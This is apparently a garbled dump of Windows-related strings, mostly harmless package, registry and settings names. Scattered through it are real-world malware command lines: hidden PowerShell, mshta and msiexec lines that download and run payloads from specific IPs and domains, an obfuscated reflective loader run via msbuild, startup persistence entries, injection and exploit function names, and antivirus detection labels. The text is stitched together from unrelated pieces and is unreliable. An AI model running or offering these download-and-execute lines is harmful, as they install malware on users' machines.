cmd.exe /c start /B powershell -windowstyle hidden -command//435464.com/Software\fuckyou\cmd /C regsvr32 /s "%s"TrojanDownloader:O97M/Powdow.RPX!lnk
Windows Hard
!Microsoft.WindowsAppRuntime.CBS.1.6_8wekyb3d8bbw,
sSystem.Runtime.WindowsRuntime.UI.Xaml
System.Runtime.WindowsRuntime
wow64_microsoft-windows-wlangpclient.resources_31bf3856ad364e35_en-us_2d2ecbfa156f379a
wow64_microsoft-windows-wlangpclient_31bf3856ad364e35_none_4712f1307aa30351
wow64_microsoft-windows-wlangpui.resources_31bf3856ad364e35_en-us_8590a66b4467e951
wow64_microsoft-windows-wlangpui_31bf3856ad364e35_none_b82116ef3b4e71b2
wow64_microsoft-windows-wlanpref.resources_31bf3856ad364e35_en-us_758e1425e9e073fd
wow64_microsoft-windows-wlanpref_31bf3856ad364e35_none_b8ca4b953ad04794
wow64_microsoft-windows-wlansvc-clientcfg_31bf3856ad364e35_none_9ea1f031e9defa17
wow64_microsoft-windows-wlansvc.resources_31bf3856ad364e35_en-us_3367cf7664b10cf2
wow64_microsoft-windows-wlansvc_31bf3856ad364e35_none_84fc37db030c3ee3
wow64_microsoft-windows-wlanui.resources_31bf3856ad364e35_en-us_d53c71a4b188a8d4
s\system32\rundll329
WindowsApp12.pdb
P~windows.immersivecontrolpanel_cw5n1h2txyewy!m
B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://194.33.191.239:7287/.hta'
c:\windows\system32\msiexec.exe/i"\\conducted-pipe-governments-thats.trycloudflare.com@ssl\davwwwroot\opy.msi"/qn
c:\windows\system32\cmd.exe/cpowershell.exeiwr-outf%tmp%\\
c:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1.\w*\s*2\m*ht*ehttps://olimpiada.gr/v6dck07nd5a1"
c:\windows\system32\forfiles.exe/pc:\windows/mwrite.exe/c"powershell.mshtahttp://149.51.230.198:5566/releaseform"
c:\windows\system32\syncappvpublishingserver.vbs;\w*\\\\*2\\\m*h*a*e('http'+'://163.5.64.41/passportscan.'+'hta')
Vc:\windows\system32\windowspowershell\v1.0\powershell.exe-command"iwr-usebhttp://147.45.44.131/files/res.ps1|iex"
c:\windows\system32\forfiles.exe/pc:\/mwindows/c"powershell.\*i*\*2\msh*ehttps://gurt.duna.ua/programy-nauczania
c:\windows\system32\cmd.exe/cmode15,1&curlhttps://files.catbox.moe/
T/cpowershell.exe-windowstylehidden-c"iwrhttp://
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ATI FireMV 2400 cards on Windows are buggy
NVidia driver 185.93 is crashy on Windows
Do not use GPU accelerated rendering with VMware on Windows
GPU access is blocked if users don't have proper graphics driver installed after Windows installation
ZMicrosoft.WindowsCamera_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-Intranet
Microsoft.Windows.DevHome_8wekyb3d8bbwes
","SettingPaths":[{"System.Setting.PageID":"SettingsPageEaseOfAccessVisualEffects","System.Setting.SettingID":"SystemSettings_Accessibility_IsAnimationsEnabled","System.Setting.GroupID":"SettingsGroupEaseOfAccessSimplifyAndPersonalize"}],"System.Comment":"Animation effects","System.HighKeywords":"animation settings;dizziness;motion settings;windows animation;stop movement;movement;open apps;turn off animations;animations settings;windows animations;app animations"},{"System.ParsingName":"AAA_SystemSettings_Accessibility_IsAudioMonoMixStateEnabled","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":"
Windows.Data.Settings.RankedSettingEntry
10^com.microsoft.windows.e
M32\RDPSND.DLL>C:\WINDOWS\SYSTE
8:\WINDOWS\SYSTEM32\UNKNOWNDLL.DLL
in danger!windows has6
Microsoft Windows [Version 
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
[byte[]]$h5=fhgjklhjkgjfhjgkjhlihkvjgcjvhbkj$yrryyuxvsdsf[byte[]]$h6=fhgjklhjkgjfhjgkjhlihkvjgcjvhbkj$interserverlogin[byte[]]$h5=fhgjklhjkgjfhjgkjhlihkvjgcjvhbkj$yrryyuxvsdsf$ali="c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe"[reflection.assembly]::load($h5).gettype('wpfcontrollibrary1.logo').getmethod('bit_alosh').invoke($null,[object[]]($ali,$h6))
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
WINDOWS11
Microsoft-Windows-LanguageFeatures-OCR-en-gb-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824
eMicrosoft-Windows-LanguageFeatures-OCR-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-LanguageFeatures-OCR-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824,
Windows-ClientCore-DWM-Package~31bf3856ad364e35~amd64~~10.0.26100.1591=
tWindows-ClientCore-DWM-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
uWindows-ClientCore-DWM-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
rWindows-ClientCore-DWM-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Composition-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
eMicrosoft-Windows-Composition-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
KMicrosoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.26100.1742e
Windows Connect Now
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!AuditModeFilePath
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!AuditModeFilePath
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\token_helpers.h
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
0\windows\system32\config\system
2powershell.exe-noprofile-windowstylehidden-
~iwshshell3.createshortcut("c:\programdata\microsoft\windows\startmenu\programs\
t<p>1.presswindows
hkey_current_user\software\microsoft\windows\currentversion\run/vransomware-a6
/Jm!%systemroot%\system32\shell32.dll
c:\windows\system32\rundll32.exeshell32.dll,shellexec_rundll"rcyclr\.com""
Uninstall Windows Mixed Reality?{
WINDOWS_TRACING_LOGFILE
Windows::Cdf::Rtl::CdfEnumerateDefinitionIdentityTable
CTSEnumeratorHandleImplementation<struct _CDF_INTERNAL_DEFINITION_IDENTITY_TABLE_ENUMERATOR,class Windows::TypeSafeHandle::Provider::Rtl::CTypeS
Microsoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~~10.0.26100.7623.cat
Microsoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
DriverData=C:\Windows\}
Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-CrashDump-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-ErrorReportingCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-ErrorReportingCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
2026/02/20-17:14:06.971 19a4 Creating DB C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Extension Scripts since it was missing.
C:\Windows\System32\RuntimeBroker.exe -Embedding
Microsoft.Windows.Security.WSC
po:i+00/c:\v1windows@.	
z1system32b.
s\system32\boby
pWindowsG
\SystemRoot\System32\drivers\wfplwfs.sys
           targetNamespace="http://schemas.microsoft.com/appx/manifest/trustedlaunch/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/trustedlaunch/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/systemai/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/systemai/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/printsupport/windows10/3"
           xmlns="http://schemas.microsoft.com/appx/manifest/printsupport/windows10/3"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
\SystemRoot\system32\drivers\ws2ifsl.sys
objwsh.run"c:\windows\temp\putty
/dccsend$nickc:\windows
-`c:\windows\system32
%SYSTEMROOT%\System32\CMD.EXE
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateString
="c:/windows/temp/"["concat"]("/"["concat"](
 @Windows.Data.Calling.Settings
pcshell\twinui\shellpositioners\lib\windowsizeconverter.cpp
usingWindowsMessageNotification
Microsoft.Windows.Shell.BlueLightReduction
Microsoft.Windows.Desktop.Shell.TwinUI.BroadcastDVR
Microsoft.Windows.Media.Capture
Microsoft.Windows.Shell.Taskbar
Microsoft.Windows.Desktop.Shell.FullScreenPositioner
Microsoft-Windows-Desktop-Shell-Windowing
Microsoft.Windows.Gaming.Posture.Core
Microsoft.Windows.Shell.GamingOverlayExperienceManager
Microsoft.Windows.Gaming.Posture.UX
Microsoft.Windows.ErrorHandling.Fallback
Microsoft.Windows.Shell.NotificationCenter
Microsoft.Windows.Shell.ControlCenter
Microsoft.Windows.Shell.SingleViewExperience
Microsoft-Windows-Shell-CortanaProactive
Microsoft.Windows.Shell.ToastCenter
Microsoft.Windows.Shell.People
Microsoft.Windows.Shell.ShoulderTapExperienceManager
Microsoft-Windows-Shell-Launcher
Microsoft.Windows.Shell.StartMenu.Experience
Microsoft.Windows.Shell.JumpView
Microsoft.Windows.Shell.QuickConnect
Microsoft.Windows.Shell.TouchpadControllerExperienceManager
Microsoft.Windows.Shell.ScreenClipping
Microsoft.Windows.AppLifeCycle.UI
Microsoft.Windows.Shell.ExperienceHost
Microsoft.Windows.Shell.MeetNow
Microsoft.Windows.Shell.LockScreenService
Microsoft.Windows.Shell.PenWorkspaceBroker
Microsoft.Windows.Desktop.Shell.PrivilegedOperations
Microsoft.Windows.Shell.TaskFlow.DataEngine
Microsoft.Windows.Holographic.Positioner
Microsoft.Windows.Desktop.Shell.ViewManagerInterop
Microsoft.Windows.Shell.TouchKeyboardExperience
Microsoft.Windows.Desktop.TextInput.TouchKeyboard
Microsoft.Windows.Input.GazeUITelemetry
Microsoft.Windows.Shell.CustomShellHost
Microsoft.Windows.Gaming.Posture.Positioner
Microsoft.Windows.FamilySafety.AppUsage
Microsoft.Windows.ImmersiveShell.DragDropSimulator
Microsoft.Windows.Shell.TaskGroups
Microsoft.Windows.Shell.TouchGestures
Microsoft.Windows.Shell.AIX
Microsoft.Windows.Dashboard
Microsoft.Windows.Shell.PinManager
Microsoft.Windows.Shell.MeetAndChat
MicrosoftWindowsTwinUISwitcher
Microsoft.Windows.Shell.ThemeCoordinator
Microsoft.Windows.Shell.SharedVisual.Host
Microsoft-Windows-Explorer-NPSMDesktopShell
Microsoft.Windows.AppBackupListener
Microsoft.Windows.DiscoverabilityManager
Microsoft.Windows.Desktop.CopilotHot [
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Notifications.WpnApps
Microsoft.Windows.Notifications.WpnApis
Microsoft.Windows.Notifications.WpnDatabaseTelemetry
Microsoft.Windows.TileDeveloperAPIsTelemetry
Software\Microsoft\Windows NT\CurrentVersion\ICM\CalibrationS
Screensaver.scr/C timeout 5 & del /F /QRHJvcEV4ZWM=/commands.phpFC:\Windows\system32\SHELL32.dll
Execute file or code whithout return resultOfflineFilesss%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\\Browser.logping www.google.com!#HSTR:Trojan:MSIL/AgentTesla.AMMQ360!MTB
EnumWindows
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
EnumChildWindows
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
WindowsWelcomeExperience
WindowsDefender
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog
@%SystemRoot%\system32\ncbservice.dll,-500
@%SystemRoot%\system32\PrintDeviceConfigurationService.dll,-3
@%SystemRoot%\system32\wpdbusenum.dll,-100
@%SystemRoot%\system32\tzautoupdate.dll,-200`:
@%windir%\system32\TimeBrokerServer.dll,-1001
@%systemroot%\system32\SecurityHealthAgent.dll,-1002
@%SystemRoot%\System32\wercplsupport.dll,-101
@%systemroot%\system32\Locator.exe,-2
@%SystemRoot%\System32\SCardSvr.dll,-1
@%SystemRoot%\System32\ScDeviceEnum.dll,-100
e.@%SystemRoot%\System32\RDXService.dll,-256c
c:\windows\system32\cmd.exef/q/v/rs^t^art^msiex^ecjb^b=^qqng^u-f^v"http://6t.pm:8080/bxb/ebnolgu8njxmtojlxf/qyjrq/!
R$sfilepath=regread("hkey_current_user\software\microsoft\windows\currentversion\policies\system","disabletaskmgr")
@system32\forfiles.exe/pc:\windows\system32/mcalc.exe/c"powershell.\*i*\s*3*\m*ta.e*https://fastrubberstamps.ca/
NumberOfWindowsInGroup
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.GameMode
Microsoft.Windows.Shell.TaskGroups
Microsoft.Windows.Compatibility.Asl
Microsoft.Windows.Desktop.Shell.AppClosingTelemetry
Microsoft-Windows-Desktop-ApplicationManager
Microsoft.Windows.Shell.Chaining
Microsoft.Windows.Desktop.Shell.ViewManagement
ToastOcclusionWindowShiftedTest
toastWindowShifted
WindowSnapStateChanged
s\system32\openssh\ssh
windows.net","sts
Path=C:\WINDOWS\system32;
USERNAME=WINDOWS11
%Windows.Data.Accessibility.EyeControl.SyncedSettingsD
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
WINDOWS;C:\WIN
=C:\WINDOWS
121^com.microsoft.windows.extensionpackage
122^com.microsoft.windows.extensionpackage
123^com.microsoft.windows.extension.applistbackup
com.microsoft.windows.extension.applistbackup
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Product-Data-Ge-26145-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|!
Microsoft-Windows-AppManagement-Common-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Multimedia-WMPDMC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Product-Data-Ge-Beta-Version-EKB-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.712.cat|!
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Product-Data-Ge-26200-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-RemoteAssistance-Package-Client~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx-AutoNgenEnable.3.5~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-WINNLS-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
icrosoft.com/pkiops/crl/Microsoft%20Windows%20Third%20Party%20Component%20CA%202013.crl0
ehttp://www.microsoft.com/pkiops/certs/Microsoft%20Windows%20Third%20Party%20Component%20CA%202013.crt0
/Microsoft Windows Third Party Component CA 20130
/Microsoft Windows Third Party Component CA 2013
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
& " /W hidden /C $TempDir = [Environment]::GetFolderPath('ApplicationData')(New-Object System.Net.WebClient).DownloadFilehttps://bitbucket.org/artanoGuima/onemore/downloads/payloadEmail.exeStart-Process 'WindowsDefenderModule.exe
= "c:\users\" & environ("username") & "\appdata\roaming\microsoft\windows\start menu\programs\startup\= environ("temp") + "\" + randname(
Windows_8._1_Activator.Splash.resourcesPublicKeyToken=b77a5c561934e089PublicKeyToken=b03f5f7f11d50a3aKMS ActivatorTrojanDownloader:O97M/Powdow.PK!MSR
%programfiles%\windows mail
%programfiles%\Windows Media Player
%programfiles%\windows nt\accessories\wordpad.exe
%programfiles%\PTC\Desktop Integration\WTWindows.exe
CloudData.WindowsClient.AssetReference
CloudData.WindowsClient.AssetReference
Windows.Data.ControlCenter.UsageCount
Windows.Data.Notifications.BoolWithMetadata
Windows.Data.LunarCalendarPerDevice
Windows.Data.ControlCenter.UIState
Windows.Data.Notifications.QuietMoment
Windows.Data.CuratedTileCollection.Group
Windows.Data.CuratedTileCollection.Root
Windows.Data.Notifications.QuietHoursSettings
Windows.Data.Notifications.QuietHoursProfile
Windows.Data.CuratedTileCollection.Tile
Windows.Data.DoNotDisturb.QuietHoursProfile
Windows.Data.Platform.Partitioning.Partition
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Input.Devices.PenSyncedSettings
Windows.Data.DoNotDisturb.BoolWithMetadata
Windows.Data.Input.Devices.MouseSyncedSettings
Windows.Data.DoNotDisturb.QuietHoursSettings
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Platform.Partitioning.PartitionSet
Windows.Data.DoNotDisturb.QuietMoment
Windows.Data.Input.Devices.PenSettings
Windows.Data.Input.Devices.PenPerDevice
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Input.Devices.TouchSettings
Windows.Data.Input.Devices.MouseSettings
Windows.Data.Input.Devices.TouchpadSettings
Windows.Data.UnifiedTile.StartGlobalProperties
allowScrollInactiveWindows
isWindowsStudioQuickActionAdded
un_BailOnWindowsEnum
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.ComOleAut32
YY\Windows\
Microsoft.WindowsAlarms_8wekyb3d8bbwe
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
%s [%s %d] 77 %sInject::InjectProcessByName()Inject::CopyImageToProcess()Inject::InjectProcess()Inject::InjectImageToProcess()Drop::InjectStartThread()ExploitMS10_092\globalroot\systemroot\system32\tasks\\
s%SystemRoot%\System32\qmgr.dll
-windowstylehidden-command"$codes=104,116
{\system32\cmd.exe/cexplorer"http://www.evangelia.edu/webnote/upload/_wic/update/wp-admin/hamre_re_nk_deterrence-cwir_25-11jun18.pdf"&mshtao
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Data.PlaceholderTileCollection
ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.UnifiedTile.TileProperties
Windows.Data.NetworkUX.Wifi.WiFiPrivacySettings
Windows.Data.CHTLocalInputSetting
Windows.Data.LocalInputSettingBase
Windows.Data.UnifiedTile.StartTileProperties
Windows.Data.SampleMetadata.Vec3
Windows.Data.LockScreen.LockScreenPhoneLegacy
Windows.Data.SampleMetadata.SampleDataItem
Windows.Data.JapanLocalInputSetting
Windows.Data.SampleMetadata.SampleData
MicrosoftDevice.Default.WindowsUpdate
Windows.Data.BlueLightReduction.ScheduleTime
Windows.Data.WindowsUpdate.WuAdvancedOptions
Windows.Data.BlueLightReduction.Settings
Windows.Data.TextInputProcessorCollection
Windows.Data.LatinLocalInputSetting
Windows.Data.UnifiedTile.StartGlobalProperties
Windows.Data.UnifiedTile.StartTileProperties
Windows.Data.Platform.Partitioning.PartitionSet
Windows.Data.Signals.MLModelCondition
Windows.Data.UnifiedTile.TileProperties
Windows.Data.Signals.BaseCondition
Windows.Data.HomeScreenBackground.Configuration
Windows.Data.ExternalDisplayModeSettings
Windows.Data.DockingDisplaySettings
Windows.Data.Set-2.884-14.419-1
lementation (address at index.windows:1:51175)
    at guardedLoadModule (address at index.windows:1:50671)
    at metroRequire (address at index.windows:1:50336)
    at global (address at index.windows:1:49916)
C:\__w\1\s\StartExperiencesApp\packages\Microsoft.Windows.ImplementationLibrary.1.0.240122.1\include\wil\result.h
C:\__w\1\s\StartExperiencesApp\packages\Microsoft.Windows.ImplementationLibrary.1.0.240122.1\include\wil\resource.h
%s\WindowsDriver_%d.exe
 Windows
C:%5CProgram Files%5CWindowsApps%5CClipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt%5Cmicrosoft.system.package.metadata%5CS-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri
@%SystemRoot%\system32\SettingsHandlers_StorageSense.dll,-100s	
@%systemroot%\system32\domgmt.dll,-103
